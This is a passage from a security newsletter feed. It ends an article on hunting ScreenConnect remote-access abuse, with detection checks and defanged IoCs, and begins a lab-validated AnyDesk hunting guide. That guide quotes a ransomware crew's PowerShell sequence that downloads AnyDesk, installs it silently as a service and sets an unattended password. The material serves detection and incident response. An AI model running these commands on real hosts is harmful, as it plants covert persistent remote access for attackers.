key in a single field. Worth knowing which log you are reading: Defender&#8217;s own </em><code>ServiceInstalled</code><em> event does not carry this string, only the service name, type, start type and account.</em></figcaption></figure></div><ul><li><p><strong>The infrastructure is never one host.</strong> <code>FileOriginUrl</code> gives you the delivery instance (<code>westville[.]screenconnect[.]com</code> on sample 1, <code>screamingacresmi[.]screenconnect[.]com</code> on sample 2). The launch string and the network events give you the relay. Sample 1 named two hosts. <strong>Sample 2 named three</strong>, because the second implant added <code>wonderxp[.]top</code> on <code>8041</code>. They look unrelated. Collect all of them before you block any of them.</p></li><li><p><strong>The operator&#8217;s traces.</strong> <code>ScreenConnect.WindowsBackstageShell.exe</code> under the service is your join, and anything under <code>C:\Windows\SystemTemp\ScreenConnect\&lt;version&gt;\Temp\</code> is what they staged. Pull the staged file before the box is reimaged. On sample 1 the relay held the session but no operator joined in the window, so absence here is a finding, not a failure.</p></li></ul><h2>Six checks, none of them a trust filter</h2><p>An attacker does not need malware, a repack, or a stolen certificate to put a remote-access implant on your estate. A cloud instance and a lure are enough, and the client will be validly signed on arrival. So stop asking whether the binary is trusted.</p><ul><li><p><strong>Provenance:</strong> <code>DeviceFileEvents</code> with a populated <code>FileOriginUrl</code> and a ScreenConnect filename or download host. Earliest signal you get, and Defender-only.</p></li><li><p><strong>Vendor identity, not trust:</strong> match <code>code_signature.subject_name</code> against an RMM vendor list. The valid signature is the catch, not the alibi.</p></li><li><p><strong>The relay model:</strong> <code>instance-&lt;id&gt;-relay.screenconnect.com:443</code> is cloud/trial, a foreign host on <code>8041</code> is self-hosted, and a newly observed relay host is your high-severity signal.</p></li><li><p><strong>Persistence:</strong> the EID 7045 service image path containing <code>e=Access&amp;y=Guest</code>, not a temp path.</p></li><li><p><strong>Count the instances.</strong> More than one <code>ScreenConnect Client (&lt;thumbprint&gt;)</code> service on a host you did not deploy to is an indicator on its own. Huntress says the same from their incident data, and it is the cheapest check on this list.</p></li><li><p><strong>Operator on the keyboard:</strong> <code>ScreenConnect.WindowsBackstageShell.exe</code> spawned by the service, plus a file written under <code>C:\Windows\SystemTemp\ScreenConnect\*\Temp\</code> and then executed. Correlate the two and you have the two-stage handoff, not a maybe.</p></li></ul><p>If your estate does not run ScreenConnect and you see it, that alone is your investigation. If it does, the same evidence sorts a sanctioned MSP session from an attacker: one or two hosts instead of the fleet, a relay you did not sanction, an <code>Access</code> role you did not deploy.</p><p>Every KQL and ES|QL query in this issue is on GitHub so you can lift them in one go: <a href="https://github.com/Securityinbits/defender-hunt-queries/blob/main/screenconnect.md">github.com/Securityinbits/defender-hunt-queries</a>.</p><p>The next analyst to see <code>Uncommon remote access software</code> in the queue will be tempted to read &#8220;remote access software,&#8221; think probably IT, and close it. The two samples say otherwise. One of them had a human on the keyboard four minutes later, and the implant that human left behind never raised that alert at all. Closing it does not close the incident. It just ends your half of it.</p><h2>IoCs</h2><p>Both are real, both were detonated in my own lab, and both are ConnectWise-signed. Initial download URL and SHA256:</p><ul><li><p><strong>Sample 1</strong>, the MSI off the <code>eventvenue[.]ink</code> lure: <code>hxxps://westville[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.msi?e=Access&amp;y=Guest</code> <code>af83740c821f78f517c7a738812340ccc31f34ab9b1dce69c268cb6d5114c6de</code></p></li><li><p><strong>Sample 2</strong>, the EXE off the <code>parvellainsurance[.]com</code> lure, the one that dropped two implants: <code>hxxps://screamingacresmi[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&amp;y=Guest&amp;t=special</code> <code>51afcda155489ac824f04f1a36aba49c5d5a4464180b82fc3c66e05bd7860769</code></p></li></ul><p>P.S. This is the second deep dive in the RMM abuse series, after AnyDesk. The signature-versus-identity lesson generalises: match on what the tool IS, not on whether it is trusted.</p><p>If this was useful, forward it to whoever runs your alert queue. That is how the next defender finds it.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/p/screenconnect-rmm-abuse-the-cloud/comments&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/p/screenconnect-rmm-abuse-the-cloud/comments"><span>Leave a comment</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[32 Ransomware Groups Abuse AnyDesk. Your EDR Sees a Legit Tool]]></title><description><![CDATA[Is That AnyDesk Legit or Planted? A Lab-Validated Hunt]]></description><link>https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk</link><guid isPermaLink="false">https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk</guid><dc:creator><![CDATA[Ayush Anand]]></dc:creator><pubDate>Wed, 29 Jul 2026 12:00:24 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/74d6dbf7-5ac6-4b55-aa41-6420bdde2e21_1200x630.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><code>invoice_viewer.exe</code> ran from a user&#8217;s Temp folder. It was not an invoice viewer. Every version-info field on it read AnyDesk: company AnyDesk Software GmbH, product AnyDesk, description AnyDesk. Microsoft Defender had noticed, the way it usually does: a Medium alert, &#8220;Uncommon remote access software.&#8221; The alert sat in the queue until someone glanced at it, read &#8220;remote access software,&#8221; thought <em>probably IT</em>, and closed it.</p><p>That is the whole problem in one line.</p><p>AnyDesk appears in more ransomware toolsets than any other remote-access tool. 32 groups in the <a href="https://github.com/BushidoUK/Ransomware-Tool-Matrix/blob/main/Tools/RMM-Tools.md">Ransomware Tool Matrix</a>, the longest row in the table by a wide margin. Akira is one of the 32, confirmed by CISA in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a">AA24-109A</a>, and Akira intrusions have gone from initial access to encryption in under four hours. Fog uses it too. It is signed, it is legitimate, and that is exactly why it works: your tooling sees a real tool doing a real thing.</p><p>That Medium only exists because AnyDesk is rare in your tenant; in a shop that actually runs AnyDesk, even that signal is gone. So the alert, when you get one, tells you AnyDesk is present. It does not tell you whether it is your help desk or your attacker. The answer is in the tool&#8217;s own behavior and the files it writes to disk, and it is the point of this piece.</p><p>I ran AnyDesk in my lab the way ransomware crews run it, both the attended fake-IT-call version and the unattended service install Fog deploys, tested every query below in MDE, and pulled the forensic artifacts by hand.</p><p>By the end you will hunt AnyDesk by behavior instead of filename, and tell legit from planted in minutes. And if it is planted, you will know exactly which files name the operator, and how to grab them before a reimage erases them. Start with how it lands, because that decides what you hunt for and what you collect.</p><h2>How AnyDesk lands: two ways, and the split decides everything</h2><p>Get this wrong and you go hunting for artifacts that were never written. AnyDesk lands on a machine two ways, and each leaves a different set of evidence, so before you write a single query you need to know which one you are looking at. I ran both in the lab so you do not have to.</p><h3>The attended way (non-admin, portable)</h3><p>The operator talks a user into running a portable AnyDesk out of their own profile. No install, no admin. In my lab it arrived as <code>Invoice_Viewer.exe</code>, dropped into <code>%TEMP%</code> (<code>C:\Users\&lt;user&gt;\AppData\Local\Temp</code>), and launched straight from there. The operator dials the victim&#8217;s AnyDesk ID, and the victim has to click <strong>Accept</strong> for the session to open. This is the vishing variant: &#8220;I&#8217;m from IT, run this so I can fix your machine.&#8221; Because nothing is installed and nothing is elevated, it keeps its config and trace files under <code>%APPDATA%\AnyDesk\</code> and writes no registry persistence at all.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nLd7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nLd7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 424w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 848w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 1272w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!nLd7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png" width="688" height="512" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:512,&quot;width&quot;:688,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:47541,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nLd7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 424w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 848w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 1272w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The attended session cannot open until the victim clicks Accept; this prompt is the whole social-engineering step.</em></p><h3>The unattended way (admin, service)</h3><p>This is how Fog and most ransomware crews deploy it, after they already hold local admin. The DFIR Report&#8217;s <a href="https://thedfirreport.com/2025/04/28/navigating-through-the-fog/">&#8220;Navigating Through the Fog&#8221;</a> documents the exact sequence, automated by a PowerShell script (<code>any.ps1</code>): make the folder, download the binary, install it as a service, then set an unattended password by piping it in.</p><pre><code><code>mkdir "C:\ProgramData\AnyDesk"
(new-object System.Net.WebClient).DownloadFile('http://download[.]anydesk[.]com/AnyDesk.exe','C:\ProgramData\AnyDesk.exe')
C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
echo Admin#123 | C:\ProgramData\anydesk.exe --set-password</code></code></pre><p>Now the operator connects with that password and nobody clicks anything. The session just opens. It registers a service (<code>HKLM\...\Services\AnyDesk</code>, <code>Automatic</code> start), writes its trace under <code>%PROGRAMDATA%\AnyDesk\</code>, and survives every reboot. That is persistence, not a phone call.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yzWq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yzWq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 424w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 848w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 1272w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!yzWq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png" width="1090" height="342" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:342,&quot;width&quot;:1090,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:63693,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yzWq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 424w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 848w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 1272w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7qWa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7qWa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 424w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 848w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 1272w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!7qWa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png" width="1099" height="501" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:501,&quot;width&quot;:1099,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:148223,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7qWa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 424w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 848w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 1272w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The split in one frame: left still waiting on Accept, right already connected under an &#8220;Unattended Access&#8221; profile.</em></p><p>Hold onto the two trace paths in that table, because they decide where you look later: search the wrong one and you will conclude there is no evidence when there is. And the split is the spine of the whole piece: a password set from the command line plus a service that survives reboot is persistence, the ransomware path; a user clicking Accept on a portable is social engineering, the phishing path.</p><p>Now that you know what it does on the box, here is how to find it in MDE without trusting the one thing the attacker controls: the filename.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h2>Hunt it in MDE: stop trusting the filename</h2><p>The attacker&#8217;s first move against your detections is the laziest one that works: rename the binary. <code>AnyDesk.exe</code> becomes <code>Invoice_Viewer.exe</code>, and every rule keyed on <code>FileName == "anydesk.exe"</code> goes quiet. So you stop hunting the name and hunt what the attacker did not bother to change.</p><h3>The field that fires on nothing</h3><p>Here is where I burned myself, and it is worth two minutes because it is the exact mistake that ships a dead rule.</p><p>The renamed binary still carries AnyDesk&#8217;s PE version-info. My instinct was to harden onto <code>OriginalFileName</code>, the field that is supposed to survive a rename because it is compiled into the PE. I wrote the rule, pointed it at real lab telemetry, and it matched nothing. Zero rows.</p><p>AnyDesk does not populate <code>OriginalFileName</code>. It is empty. The field everyone reaches for first is the one field AnyDesk leaves blank, and a rule built on it fires on nothing while looking perfectly reasonable in review. The three fields that are populated, and do survive the rename:</p><ul><li><p><code>CompanyName</code> = &#8220;AnyDesk Software GmbH&#8221;</p></li><li><p><code>ProductName</code> = &#8220;AnyDesk&#8221;</p></li><li><p><code>FileDescription</code> = &#8220;AnyDesk&#8221;</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8GoO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8GoO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 424w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 848w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 1272w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!8GoO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png" width="464" height="294" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:294,&quot;width&quot;:464,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:20323,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 